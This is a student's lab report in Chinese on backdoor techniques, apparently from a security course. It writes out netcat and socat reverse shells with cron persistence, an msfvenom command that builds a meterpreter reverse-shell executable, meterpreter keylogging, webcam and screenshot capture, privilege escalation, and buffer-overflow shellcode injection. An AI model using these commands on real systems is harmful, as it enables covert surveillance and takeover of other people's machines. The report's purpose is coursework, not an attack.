20192424王昭雲後門原理與實踐實驗報告
阿新 • • 發佈:2022-04-03
20192424王昭雲實驗二
實驗內容
任務一:使用netcat獲取主機操作Shell,cron啟動
- 首先獲取windowsIP
- 然後獲取ubuntu的IP
- 配置cron,設定16分鐘進行反向連線windows
- 由於cron執行失敗,我單獨執行反連線發現nc不支援-e命令,經過不斷的上網查證發現nc官網下載的和本地預設的都是自動模式,此模式不支援-e,於是如上圖,我改成了手工模式,並且反彈連線成功。下圖是修改模式截圖:
- Cron自動進入,如圖:
任務二:使用socat獲取主機操作Shell, 任務計劃啟動
任務三:使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
- 下載安裝msf之類的軟體,我因為github部分網頁被牆,去官網下載了deb包自己安裝的。接下來msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.132 LPORT=1314 -f exe > 20192424_backdoor.exe生成後門程式:
- 引數說明:
-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
-e 使用的編碼器,用於對shellcode變形,為了免殺。
-i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字元。 LHOST 是反彈回連的IP LPORT 是回連的埠
-f 生成檔案的型別 - 在Windows下執行ncat -l 1314 > 20181314_backdoor.exe,這樣被控主機就進入了接收檔案模式:
- 可以看到後門程式已經傳過來了
- 進入msfconsole
- 成功通過後門程式獲得shell:
任務四:使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用webcam_snap進行拍照
- 使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄
- 使用screenshot指令可以進行截圖,效果如下:
- 先使用getuid指令檢視當前使用者,使用getsystem指令進行提權
任務五:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell(1分)加分內容一併寫入本實驗報告。
- 做好環境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化
- 檢視靶機版本
- 修改圖中code為ubuntu的IP地址對應192.168.189.132
- 修改埠號為0522h對應1314
- 開啟一個終端使用(cat input_shellcode;cat) | ./pwn1注入這段攻擊buf
再開另外一個終端,用gdb來除錯pwn1這個程序。輸入ps -ef | grep pwn1找到pwn1的程序號
之後啟動gdb使用attach除錯這個程序。使用disassemble foo檢視到ret的地址 - 設定斷點
- 找到被覆蓋的eip
- 計算得到FFFFD090
- 在shellocode中新增ret地址
- 然後啟動msfconsole,執行pwn1,管道輸入shellcode
- 實驗暫時失敗,失敗結果如下:
- 失敗原因在於payload識別不出來:
- 通過msfvonom -l payloads>payloadsshow | vim payloadsshow檢視支援的payloads種類
- 嘗試使用迴環地址,生成新的shellcode:
- 嘗試新的payloads
- Msfconsole中沒有任何反應,根據wireshark抓包猜測結果:
- 可見,後門程式先在4444埠傳送了連線請求,msf的埠也收到了該請求,然後進行了回覆,回覆包如下:
- 到現在可以知道shellcode注入沒有技術問題,惡意程式碼是可以正常執行的,惡意程式碼中的反彈連線請求也能傳送,那麼問題應該在於payload的版本。
Kali中的gdb除錯截圖 - Shellcode注入截圖
- 以下是kali版本同一個payload成功截圖
基礎問題回答
例舉你能想到的一個後門進入到你係統中的可能方式?
- 通過修改PE,ELF檔案中的匯入表等等在我們下載的程式中插入後門。
- 通過XSS攻擊讓瀏覽器自動下載後門程式
例舉你知道的後門如何啟動起來(win及linux)的方式?
- windows通過任務計劃
- linux中用cron
- 修改登錄檔開機自啟動
- shellcode通過緩衝區溢位等方式啟動
- 訪問帶有惡意程式碼的bmp圖片
Meterpreter有哪些給你映像深刻的功能?
- 能自動生成exe,raw,c等格式對應不同系統不同功能不同語言的漏洞,實現了漏洞的DIY
- 對後門程式的封裝很好,操作簡單,比如通過後臺截圖攝像等等
如何發現自己有系統有沒有被安裝後門?
- 檢查下載的檔案的hash,與官網的hash對比
- 檢查流量是否異常
- 檢查登錄檔
- 檢查是否有異常埠使用